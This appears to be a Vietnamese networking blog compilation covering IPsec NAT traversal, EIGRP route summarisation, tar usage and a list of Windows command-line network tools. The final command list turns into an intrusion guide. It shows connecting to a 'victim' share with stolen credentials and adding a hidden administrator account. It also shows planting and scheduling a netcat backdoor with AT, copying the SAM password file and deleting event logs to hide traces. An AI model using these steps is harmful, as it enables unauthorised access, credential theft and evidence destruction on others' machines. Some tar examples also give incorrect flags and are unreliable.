NAT Traversal – Giải pháp cho IPsec Tunnel đi qua các thiết bị NAT (modem, firewall)

Để thiết lập 1 VPN tunnel thì cần trải qua 2 phase:

Phase 1: Sử dụng giao thức ISAKMP (nằm trên L4, luôn sử dụng giao thức truyền tải bên dưới là UDP port 500)

Phase 2: Sử dụng giao thức IPsec có 2 phiên bản là ESP và AH. Trong đó AH không sử dụng được nếu có NAT/PAT device ở giữa vì nó check integrity dựa vào IP header mà các trường như địa chỉ sẽ chắn chắn bị thay đổi khi có NAT/PAT.

ESP sẽ đóng gói toàn bộ TCP/UDP bên trong.  Tuy nhiên, trong ESP header lại không có port giống như TCP/UDP. Đây là điểm khác biệt của ESP với ISAKMP và gây ra vấn đề khi thiết lập IPsec tunnel đi qua thiết bị thực hiện NAT overload (PAT), do không có port để map trong bảng NAT.

Giải quyết với NAT-T.

1. Hai đầu thiết bị kiểm tra xem có hỗ trợ NAT-T không thông qua 2 bản tin số 1 và 2  trong ISAKMP Main Mode.

2. Nếu cả 2 đều hỗ trợ NAT-T, 2 thiết bị kiểm tra trên đường truyền có tồn tại thiết bị NAT không. Quá trình này được gọi là NAT-D (NAT Discovery), cụ thể có 2 bản tin NAT-D được gửi, nội dung là giá trị hash của ip và port (bản tin đầu chưa thông tin src.ip + src.port, bản tin sau chứa dst.ip + dst.port). Thiết bị phía nhận kiểm tra hash xem có tồn tại thiết bị NAT ở giữa không.

3. Nếu có thiết bị PAT ở giữa, NAT-T thông qua các bản tin ISAKMP Main Mode  số 5 và 6, mục đích để ISAKMP chuyển từ dùng UDP port 500 sang dùng UDP port 4500, đồng thời cũng đóng gói Quick Mode (Phase 2 Ipsec) vào trong UDP port 4500 (cả src.port và dst.port đều là 4500).

4. Khi đi qua thiết bị PAT, src.port 4500 được đổi thành random high port, dst.port giữ nguyên.

Điểm khác biệt của NAT-T so với IPsec over UDP:

– NAT-T: chỉ đóng gói bản tin ESP vào UDP 4500 khi gặp phải PAT. NAT-T luôn luôn dùng port 4500, không cấu hình thay đổi được.

– IPsec over UDP: luôn đóng gói vào UDP 10000, giá trị port 10000 có thể thay đổi được.

Tham khảo:

https://supportforums.cisco.com/document/64281/how-does-nat-t-work-ipsec

https://supportforums.cisco.com/discussion/11028366/how-nat-t-works-ipsec

EIGRP Summary Route

EIGRP có 2 cơ chế thực hiện summary route:

  • Auto Summary
  • Manual Summary

Điểm chung của EIGRP khi thực hiện summary là luôn luôn tạo ra route trỏ đến Null0 Interface, mục đích là loại bỏ traffic tới các subnet không thuộc summary route, tránh hiện tượng loop packet.

AD của Summary Route = 5.

1.2.A1.EIGRP - Summary

1. Auto Summary

R2#show ip route

C    192.168.12.0/24 is directly connected, Serial0/0
D    1.0.0.0/8 [90/2297856] via 192.168.12.1, 00:08:36, Serial0/0
172.16.0.0/16 is variably subnetted, 4 subnets, 2 masks
D       172.16.0.0/16 is a summary, 00:01:22, Null0
C       172.16.1.0/24 is directly connected, Loopback0
C       172.16.2.0/24 is directly connected, Loopback2
C       172.16.3.0/24 is directly connected, Loopback3

Kiểm tra giá trị AD của Summary Route đúng =5. Chú ý là giá trị AD chỉ có ý nghĩa local nên trên R1 sẽ vẫn nhìn thấy summary route có AD = 90.

R2#show ip route 172.16.4.0
Routing entry for 172.16.0.0/16
Known via “eigrp 100”, distance 5, metric 128256, type internal
Redistributing via eigrp 100
Routing Descriptor Blocks:
* directly connected, via Null0
Route metric is 128256, traffic share count is 1
Total delay is 5000 microseconds, minimum bandwidth is 10000000 Kbit
Reliability 255/255, minimum MTU 1514 bytes
Loading 1/255, Hops 0

2. Manual Summary

R2(config-if)#ip summary-address eigrp 100 172.16.0.0 255.255.252.0

C    192.168.12.0/24 is directly connected, Serial0/0
D    1.0.0.0/8 [90/2297856] via 192.168.12.1, 00:11:07, Serial0/0
172.16.0.0/16 is variably subnetted, 5 subnets, 3 masks
D       172.16.0.0/22 is a summary, 00:00:03, Null0
D       172.16.0.0/16 is a summary, 00:03:53, Null0
C       172.16.1.0/24 is directly connected, Loopback0
C       172.16.2.0/24 is directly connected, Loopback2
C       172.16.3.0/24 is directly connected, Loopback3

Tắt Auto-summary đi:

R2(config-router)#no auto-summary

R2#show ip route
C    192.168.12.0/24 is directly connected, Serial0/0
D    1.0.0.0/8 [90/2297856] via 192.168.12.1, 00:12:09, Serial0/0
172.16.0.0/16 is variably subnetted, 4 subnets, 2 masks
D       172.16.0.0/22 is a summary, 00:01:05, Null0
C       172.16.1.0/24 is directly connected, Loopback0
C       172.16.2.0/24 is directly connected, Loopback2
C       172.16.3.0/24 is directly connected, Loopback3

R1 nhận được manual summary route do R2 gửi sang.

R1#show ip route

C 192.168.12.0/24 is directly connected, Serial0/0
1.0.0.0/8 is variably subnetted, 2 subnets, 2 masks
C 1.1.1.0/24 is directly connected, Loopback0
D 1.0.0.0/8 is a summary, 00:42:40, Null0
172.16.0.0/22 is subnetted, 1 subnets
D 172.16.0.0 [90/2297856] via 192.168.12.2, 00:02:58, Serial0/0

3. Manual Summary without Null0 interface

Để bỏ Interface null0 thì mẹo sẽ là tạo Summary Route với AD = 255

R2(config-if)#ip summary addresss eigrp 100 172.16.0.0 255.255.252.0 255

Kết quả trên R2, không còn Null0 interface:

C 192.168.12.0/24 is directly connected, Serial0/0
D 1.0.0.0/8 [90/2297856] via 192.168.12.1, 00:16:44, Serial0/0
172.16.0.0/24 is subnetted, 3 subnets
C 172.16.1.0 is directly connected, Loopback0
C 172.16.2.0 is directly connected, Loopback2
C 172.16.3.0 is directly connected, Loopback3

Snort Signature to prevent SQL injection attack

http://m-dabbour.blogspot.com/search/label/Snort

http://m-dabbour.blogspot.com/search/label/security

Lệnh Tar trên Linux

Làm việc với linux,chúng ta thường xuyên phải sử dụng lệnh tar.Trong bài viết này chúng  ta sẽ xem lại các option cơ bản của nó cùng với các ví dụ cụ thể nhé.

tar (tape archive) là công cụ dùng để gom nhiều file vào một file duy nhất – file này được gọi là archive.

Cú pháp cơ bn ca tar

tar option(s)  archive_name file_name(s)

1)Tạo và giải nén file .tar

a) Tạo (Create) file *.tar

tar cvf archive_name.tar dirname/

b) Bung (Extract) file *.tar

Để bung file .tar ta thay c bằng x nhé

$ tar xvf archive_name.tar
Trong đó :

C : Tạo ra 1 file archive

X :  Bung (Extract) file

V:HIện thị danh sách các file  trong  tiến trình

F : tên file archive

2)Tạo và giải nén file .tar.gz 

a) Tạo (Create) file *.tar.gz

Để tạo 1 file archive nén(gzip) chúng ta thêm vào đối số z

tar -cvfz  archive_name.tar dirname/

b) Giải nén (Extract) file *.tar.gz

$ tar xvfz archive_name.tar.gz
Trong Đó :
Z : tạo file archive bằng chương trình Gzip

Các bạn lưu ý file archive .tar.gz và tgz là một.

3)Tạo và giải nén file .tar.bz2

a) Tạo (Create) file *.tar.bz2

Để tạo 1 file archive nén(bzipped ) chúng ta thêm vào đối số j

tar -cvfj archive_name.tar dirname/

b) Giải nén (Extract) file *.tar.bz2

$ tar xvfj archive_name.tar.gz
Trong Đó :
J : tạo file archive bằng chương trình bzip2

Các bạn lưu ý  file  archive .tbz và tb2 là một

** gzip và gzip2: bzip2 mất nhiều thời gian để nén và giải nén hơn so với gzip.Nhưng file tạo ra bằng gzip2 nhẹ hơn so với gzip

Qua các ví dụ trên hy vọng các bạn sẽ  dễ dàng nhớ các option của lệnh tar hơn.

(Sưu tầm)

Các lệnh MS DOS để cấu hình mạng

1. Lệnh Ping : Cú pháp: Code: ping ip/host [/t][/a][/l][/n] – ip: địa chỉ IP của máy cần kiểm tra; host là tên của máy tính cần kiểm tra. Người ta có thể sử dụng địa chỉ IP hoặc tên của máy tính. – Tham số /t: Sử dụng tham số này để máy tính liên tục “ping” đến máy tính đích, cho đến khi bạn bấm Ctrl + C – Tham số /a: Nhận địa chỉ IP từ tên host – Tham số /l : Xác định độ rộng của gói tin gửi đi kiểm tra. Một số hacker sử dụng tham số này để tấn công từ chối dịch vụ một máy tính (Ping of Death – một loại DoS), nhưng tôi nghĩ là hacker có công cụ riêng để ping một gói tin lớn như thế này, và phải có nhiều máy tính cùng ping một lượt. – Tham số /n : Xác định số gói tin sẽ gửi đi. Ví dụ: ping 174.178.0.1/n 5 Công dụng : + Lệnh này được sử dụng để kiểm tra xem một máy tính có kết nối với mạng không. Lệnh Ping sẽ gửi các gói tin từ máy tính bạn đang ngồi tới máy tính đích. Thông qua giá trị mà máy tính đích trả về đối với từng gói tin, bạn có thể xác định được tình trạng của đường truyền (chẳng hạn: gửi 4 gói tin nhưng chỉ nhận được 1 gói tin, chứng tỏ đường truyền rất chậm (xấu)). Hoặc cũng có thể xác định máy tính đó có kết nối hay không (Nếu không kết nối,kết quả là Unknow host)….

2. Lệnh Tracert : Cú pháp : Code: tracert ip/host Công dụng : + Lệnh này sẽ cho phép bạn “nhìn thấy” đường đi của các gói tin từ máy tính của bạn đến máy tính đích, xem gói tin của bạn vòng qua các server nào, các router nào… Quá hay nếu bạn muốn thăm dò một server nào đó.

3. Lệnh Net Send, gởi thông điệp trên mạng (chỉ sử dụng trên hệ thống máy tình Win NT/2000/XP): Cú pháp: Net send ip/host thông_điệp_muốn_gởi Công dụng: + Lệnh này sẽ gửi thông điệp tới máy tính đích (có địa chỉ IP hoặc tên host) thông điệp: thông_điệp_muốn_gởi. + Trong mạng LAN, ta có thể sử dụng lệnh này để chat với nhau. Trong phòng vi tính của trường tui thường dùng lệnh này để ghẹo mọi người! Bạn cũng có thể gởi cho tất cả các máy tính trong mạng LAN theo cấu trúc sau : Code: Net send * hello!I’m pro_hacker_invn

4. Lệnh Netstat : Cú pháp: Code: Netstat [/a][/e][/n] – Tham số /a: Hiển thị tất cả các kết nối và các cổng đang lắng nghe (listening) – Tham số /e: hiển thị các thông tin thống kê Ethernet – Tham số /n: Hiển thị các địa chỉ và các số cổng kết nối… Ngoải ra còn một vài tham số khác, hãy gõ Netstat/? để biết thêm Công dụng : + Lệnh Netstat cho phép ta liệt kê tất cả các kết nối ra và vào máy tính của chúng ta.

5. Lệnh IPCONFIG : Cú pháp: Code: ipconfig /all Công dụng: + Lệnh này sẽ cho phép hiển thị cấu hình IP của máy tính bạn đang sử dụng, như tên host, địa chỉ IP, mặt nạ mạng…

6. Lệnh FTP (truyền tải file): Cú pháp: Code: ftp ip/host Nếu kết nối thành công đến máy chủ, bạn sẽ vào màn hình ftp, có dấu nhắc như sau: Code: ftp>_ Tại đây, bạn sẽ thực hiện các thao tác bằng tay với ftp, thay vì dùng các chương trình kiểu Cute FTP, Flash FXP. Nếu kết nối thành công, chương trình sẽ yêu cầu bạn nhập User name, Password. Nếu username và pass hợp lệ, bạn sẽ được phép upload, duyệt file… trên máy chủ. Một số lệnh ftp cơ bản: -cd thu_muc: chuyển sang thư mục khác trên máy chủ – dir: Xem danh sách các file và thư mục của thư mục hiện thời trên máy chủ – mdir thu_muc: Tạo một thư mục mới có tên thu_muc trên máy chủ – rmdir thu_muc: Xoá (remove directory) một thư mục trên máy chủ – put file: tải một file file (đầy đủ cả đường dẫn. VD: c:\tp\bin\baitap.exe) từ máy bạn đang sử dụng lên máy chủ. – close: Đóng phiên làm việc – quit: Thoát khỏi chương trình ftp, quay trở về chế độ DOS command. Ngoài ra còn một vài lệnh nữa, xin mời các bạn tự tìm hiểu. Công dụng : + FTP là một giao thức được sử dụng để gửi và nhận file giữa các máy tính với nhau. Windows đã cài đặt sẵn lệnh ftp, có tác dụng như một chương trình chạy trên nền console (văn bản), cho phép thực hiện kết nối đến máy chủ ftp

7. Lệnh Net View : Cú pháp: Code: Net View [\\computer|/Domain[:ten_domain]] Công dụng: + Nếu chỉ đánh net view [enter], nó sẽ hiện ra danh sách các máy tính trong mạng cùng domain quản lý với máy tính bạn đang sử dụng. + Nếu đánh net view \\tenmaytinh, sẽ hiển thị các chia sẻ tài nguyên của máy tính tenmaytinh . Sau khi sử dụng lệnh này, các bạn có thể sử dụng lệnh net use để sử dụng các nguồn tài nguyên chia sẻ này.

8. Lệnh Net Use : Cú pháp: Code: Net use \\ip\ipc$ “pass” /user:”***” – ip: địa chỉ IP của victim. – ***: user của máy victim – pass: password của user Giả sử ta có đc user và pass của victim có IP là 68.135.23.25 trên net thì ta đã có thể kết nối đến máy tính đó rùi đấy! Ví dụ: user: vitim ; pass :12345 . Ta dùng lệnh sau: Code: Net use \\68.135.23.25\ipc$ “12345” /user:”victim” Công dụng: + kết nói một IPC$ đến máy tính victim (bắt đầu quá trình xâm nhập).

9. Lệnh Net User : Cú pháp: Code: Net User [username pass] [/add] – Username : tên user cấn add – pass : password của user cần add Khi đã add đc user vào rùi thì ta tiến hành add user này vào nhóm administrator. Code: Net Localgroup Adminstrator [username] [/add] Công dụng: + Nếu ta chỉ đánh lệnh Net User thì sẽ hiển thị các user có trong máy tính. + Nếu ta đánh lệnh Net User [username pass] [/add] thì máy tính sẽ tiến hành thêm một người dùng vào. Ví dụ: ta tiến hành add thêm một user có tên là uanhoa , password là :banvatoi vào với cấu trúc lệnh như sau: Code: Net User xuanhoa banvatoi /add Sau đó add user xuanhoa vào nhóm adminnistrator Code: Net Localgroup Administrator xuanhoa /add

10. Lệnh Shutdown: Cú pháp: Code: Shutdown [-m \\ip] [-t xx] [-i] [-l] [-s] [-r] [-a] [-f] [-c “commet] [-d up x:yy] (áp dụng cho win XP) – Tham số -m\\ip : ra lệnh cho một máy tính từ xa thực hiên các lệnh shutdown, restart,.. – Tham số -t xx : đặt thời gian cho việc thực hiện lệnh shutdown. – Tham số -l : logg off (lưu ý ko thể thực hiện khi remote) – Tham số -s : shutdown – Tham số -r : shutdown và restart – Tham số -a : không cho shutdown – Tham số -f : shutdown mà ko cảnh báo – Tham số -c “comment” : lời cảnh báo trước khi shutdown – Tham số -d up x:yy : ko rõ Code: shutdown \\ip (áp dụng win NT) Để rõ hơn về lệnh shutdown bạn có thể gõ shutdown /? để được hướng dẫn cụ thể hơn! Công dụng: + Shutdown máy tính.

11. Lệnh DIR : Cú pháp: Code: DIR [drive:][path][filename] Lệnh này quá căn bản rùi, chắc tui khỏi hướng dẫn, để rõ hơn bạn đánh lệnh DIR /? để được hướng dẫn. Công dụng: + Để xem file, folder.

12. Lệnh DEL : Cú pháp: Code: DEL [drive:][path][filename] Lệnh này cũng căn bản rùi, ko phải nói nhìu. Công dụng: Xóa một file, thông thường sau khi xâm nhập vào hệ thống, ta phái tiến hành xóa dấu vết của mình để khỏi bị phát hiện.Sau đây là những files nhật ký của Win NT: Code: del C:\winnt\system32\logfiles\*.* del C:\winnt\ssytem32\config\*.evt del C:\winnt\system32\dtclog\*.* del C:\winnt\system32\*.log del C:\winnt\system32\*.txt del C:\winnt\*.txt del C:\winnt\*.log

13. Lệnh tạo ổ đĩa ảo trên computer: Cú pháp: Code: Net use z: \\ip\C$ ( hoặc là IPC$ ) – Z là của mình…còn C$ là của Victim Công dụng: Tạo 1 đĩa ảo trên máy tính (lệnh này tui ko rõ nên ko thể hướng dẫn chi tiết đc)

14. Lệnh Net Time : Cú pháp: Code: Net Time \\ip Công dụng: + Cho ta biết thời gian của victim, sau đó dùng lệnh AT để khởi động chương trình.

15. Lệnh AT: Cú pháp: Code: AT \\ip Công dụng: + Thông thường khi xâm nhập vào máy tính victim khi rút lui thì ta sẽ tặng quà lưu niệm lên máy tính victim, khi đã copy troj hoặc backdoor lên máy tính rùi ta sẽ dùng lệnh at để khởi động chúng. Ví dụ: ở đây tui có con troj tên nc.exe (NC là từ viết tắc của NETCAT….nó là một telnet server với port 99) và đc copy lên máy victim rùi. Đầu tiên ta cần biết thời gian của victim có IP là : 68.135.23.25 . Code: Net Time \\68.135.23.25 Bây h nó sẽ phản hồi cho ta thời gian của victim, ví dụ : 12:00. Code: AT \\68.135.23.25 12:3 nc.exe Đợi đến 12:3 là nó sẽ tự chạy trên máy nạn nhân và chúng ta có thể connected đến port 99.

16. Lệnh Telnet: Cú pháp: Code: telnet host port Gõ telnet /? để biết thêm chi tiết. Nhưng nếu như máy victim đã dính con nc rồi thì ta chỉ cần connect đến port 99 là OKie Code: telnet 68.135.23.25 99 Công dụng: + Kết nối đến host qua port xx

17. Lệnh COPY: Cú pháp: Code: COPY /? Dùng lệnh trên để rõ hơn! Công dụng: + Copy file, tui khỏi nói thêm nhé. Ví dụ:chúng ta copy files index trên ổ C của mình lên ổ C của 127.0.0.1 Code: Copy Index.html \\127.0.0.1\C$\index.html nếu bạn copy lên folder winNt Code: Copy index.html \\127.0.0.1\admin$\index.html muốn copy files trên máy victm thì bạn gõ vào : Code: Copy \\127.0.0.1\Admin$\repair\sam._c:\

18. Lệnh SET: Cú pháp: Code: SET Công dụng: + Displays, sets, or removes cmd.exe enviroment variables. 19. Lệnh Nbtstat: Cú pháp: Code: Nbtstat /? Gõ lệnh trên để rõ hơn về lệnh này. Công dụng: + Display protocol statistic and curent TCP/IP connections using NBT (netbios over TCP?IP)

(Sưu tầm)

Cấu hình các Feature của Switch Layer 2

http://www.cisco.com/en/US/docs/switches/lan/catalyst2950/software/release/12.1_22ea/SCG/scg.html